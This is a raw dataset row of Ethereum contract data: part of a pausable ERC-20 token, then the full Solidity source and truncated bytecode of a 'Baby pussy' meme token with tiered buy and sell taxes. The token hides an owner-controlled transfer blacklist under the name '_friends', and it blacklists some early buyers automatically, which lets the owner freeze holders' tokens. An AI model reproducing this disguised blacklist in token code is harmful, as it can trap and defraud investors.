* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
whenNotPaused
returns (bool)
{
require(spender != address(0), "address is zero.");
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
whenNotPaused
returns (bool)
{
require(spender != address(0), "address is zero.");
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0), "address is zero.");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
} | 0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101ac57806323b872dd146101d3578063313ce567146101fd57806339509351146102285780633f4ba83a1461024c5780635c975abb1461026357806370a08231146102785780638456cb59146102995780638da5cb5b146102ae57806395d89b41146102df578063a457c2d7146102f4578063a9059cbb14610318578063dd62ed3e1461033c578063f2fde38b14610363575b600080fd5b3480156100f657600080fd5b506100ff610384565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610198600160a060020a0360043516602435610419565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c161051f565b60408051918252519081900360200190f35b3480156101df57600080fd5b50610198600160a060020a0360043581169060243516604435610525565b34801561020957600080fd5b506102126105e3565b6040805160ff9092168252519081900360200190f35b34801561023457600080fd5b50610198600160a060020a03600435166024356105ec565b34801561025857600080fd5b50610261610724565b005b34801561026f57600080fd5b5061019861083c565b34801561028457600080fd5b506101c1600160a060020a036004351661084c565b3480156102a557600080fd5b50610261610867565b3480156102ba57600080fd5b506102c3610972565b60408051600160a060020a039092168252519081900360200190f35b3480156102eb57600080fd5b506100ff610981565b34801561030057600080fd5b50610198600160a060020a03600435166024356109df565b34801561032457600080fd5b50610198600160a060020a0360043516602435610ab2565b34801561034857600080fd5b506101c1600160a060020a0360043581169060243516610b17565b34801561036f57600080fd5b50610261600160a060020a0360043516610b42565b60018054604080516020601f6002600019610100878916150201909516949094049384018190048102820181019092528281526060939092909183018282801561040f5780601f106103e45761010080835404028352916020019161040f565b820191906000526020600020905b8154815290600101906020018083116103f257829003601f168201915b5050505050905090565b6000805460a060020a900460ff161561046a576040805160e560020a62461bcd0281526020600482015260076024820152600080516020610e75833981519152604482015290519081900360640190fd5b600160a060020a03831615156104b8576040805160e560020a62461bcd0281526020600482015260106024820152600080516020610e95833981519152604482015290519081900360640190fd5b336000818152600560209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60065490565b6000805460a060020a900460ff1615610576576040805160e560020a62461bcd0281526020600482015260076024820152600080516020610e75833981519152604482015290519081900360640190fd5b600160a060020a03841660009081526005602090815260408083203384529091529020546105aa908363ffffffff610c5a16565b600160a060020a03851660009081526005602090815260408083203384529091529020556105d9848484610ce2565b5060019392505050565b60035460ff1690565b6000805460a060020a900460ff161561063d576040805160e560020a62461bcd0281526020600482015260076024820152600080516020610e75833981519152604482015290519081900360640190fd5b600160a060020a038316151561068b576040805160e560020a62461bcd0281526020600482015260106024820152600080516020610e95833981519152604482015290519081900360640190fd5b336000908152600560209081526040808320600160a060020a03871684529091529020546106bf908363ffffffff610dea16565b336000818152600560209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600054600160a060020a03163314610786576040805160e560020a62461bcd02815260206004820152600f60248201527f6f6e6c7920666f72206f776e65722e0000000000000000000000000000000000604482015290519081900360640190fd5b60005460a060020a900460ff1615156107e9576040805160e560020a62461bcd02815260206004820152600b60248201527f4e6f74207061757365642e000000000000000000000000000000000000000000604482015290519081900360640190fd5b6000805474ff0000000000000000000000000000000000000000191690556040805133815290517f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa9181900360200190a1565b60005460a060020a900460ff1690565b600160a060020a031660009081526004602052604090205490565b600054600160a060020a031633146108c9576040805160e560020a62461bcd02815260206004820152600f60248201527f6f6e6c7920666f72206f776e65722e0000000000000000000000000000000000604482015290519081900360640190fd5b60005460a060020a900460ff1615610919576040805160e560020a62461bcd0281526020600482015260076024820152600080516020610e75833981519152604482015290519081900360640190fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790556040805133815290517f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2589181900360200190a1565b600054600160a060020a031681565b60028054604080516020601f600019610100600187161502019094168590049384018190048102820181019092528281526060939092909183018282801561040f5780601f106103e45761010080835404028352916020019161040f565b6000805460a060020a900460ff1615610a30576040805160e560020a62461bcd0281526020600482015260076024820152600080516020610e75833981519152604482015290519081900360640190fd5b600160a060020a0383161515610a7e576040805160e560020a62461bcd0281526020600482015260106024820152600080516020610e95833981519152604482015290519081900360640190fd5b336000908152600560209081526040808320600160a060020a03871684529091529020546106bf908363ffffffff610c5a16565b6000805460a060020a900460ff1615610b03576040805160e560020a62461bcd0281526020600482015260076024820152600080516020610e75833981519152604482015290519081900360640190fd5b610b0e338484610ce2565b50600192915050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600054600160a060020a03163314610ba4576040805160e560020a62461bcd02815260206004820152600f60248201527f6f6e6c7920666f72206f776e65722e0000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a0381161515610bf2576040805160e560020a62461bcd0281526020600482015260106024820152600080516020610e95833981519152604482015290519081900360640190fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008083831115610cdb576040805160e560020a62461bcd02815260206004820152602760248201527f61206d7573742062652067726561746572207468616e2062206f72206571756160448201527f6c20746f20622e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b5050900390565b600160a060020a0382161515610d30576040805160e560020a62461bcd0281526020600482015260106024820152600080516020610e95833981519152604482015290519081900360640190fd5b600160a060020a038316600090815260046020526040902054610d59908263ffffffff610c5a16565b600160a060020a038085166000908152600460205260408082209390935590841681522054610d8e908263ffffffff610dea16565b600160a060020a0380841660008181526004602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082820183811015610e6d576040805160e560020a62461bcd02815260206004820152602760248201527f63206d7573742062652067726561746572207468616e2062206f72206571756160448201527f6c20746f20612e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b939250505056005061757365642e0000000000000000000000000000000000000000000000000061646472657373206973207a65726f2e00000000000000000000000000000000a165627a7a7230582077b60e54916770c50ed73fec72f0fa9b8f379ef2a36ae1698982f191bcb10d6c0029 | {"success": true, "error": null, "results": {}} | 10,647 |
0xb034c53cc3b87e8f4f196bdfe9f99d0834868f43 | /**
*
* ==============================================
* ==================================================================
* =====================================
*
=============================================+=================================================
Babypussy
telegram : https://t.me/Babypussy_group
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BBP is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Baby pussy";
string private constant _symbol = unicode" BBP ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613f5e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613a3b565b610662565b6040516101f09190613f43565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614140565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906139ec565b610691565b6040516102589190613f43565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614140565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae91906141b5565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613b0a565b610783565b005b3480156102ec57600080fd5b5061030760048036038101906103029190613ab8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b919061395e565b61095f565b60405161033d9190614140565b60405180910390f35b34801561035257600080fd5b5061036d6004803603810190610368919061395e565b610aeb565b60405161037a9190613f43565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a5919061395e565b610b41565b6040516103b79190614140565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f9919061395e565b610c0a565b60405161040b9190614140565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613e75565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061395e565b610dd7565b60405161048a9190614140565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613f5e565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613a3b565b610e7f565b6040516104f29190613f43565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613f43565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613a77565b610eb2565b005b34801561055b57600080fd5b50610564611134565b005b34801561057257600080fd5b5061057b6111ae565b005b34801561058957600080fd5b5061059261127a565b60405161059f9190614140565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca919061395e565b6112ac565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906139b0565b61139c565b6040516106059190614140565b60405180910390f35b34801561061a57600080fd5b50610623611423565b005b60606040518060400160405280600a81526020017f4261627920707573737900000000000000000000000000000000000000000000815250905090565b600061067661066f611935565b848461193d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611b08565b61075f846106aa611935565b61075a8560405180606001604052806028815260200161491760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610710611935565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd9092919063ffffffff16565b61193d565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611935565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90614020565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614140565b60405180910390a150565b610872611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690614080565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613f43565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b19190614276565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a119190614276565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a719190614276565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad19190614276565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b919190614357565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd9611935565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612c41565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db8565b9050919050565b610c63611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790614080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d9190614357565b612e2690919063ffffffff16565b9050919050565b60606040518060400160405280600581526020017f2042425020000000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c611935565b8484611b08565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90614080565b60405180910390fd5b60005b81518110156111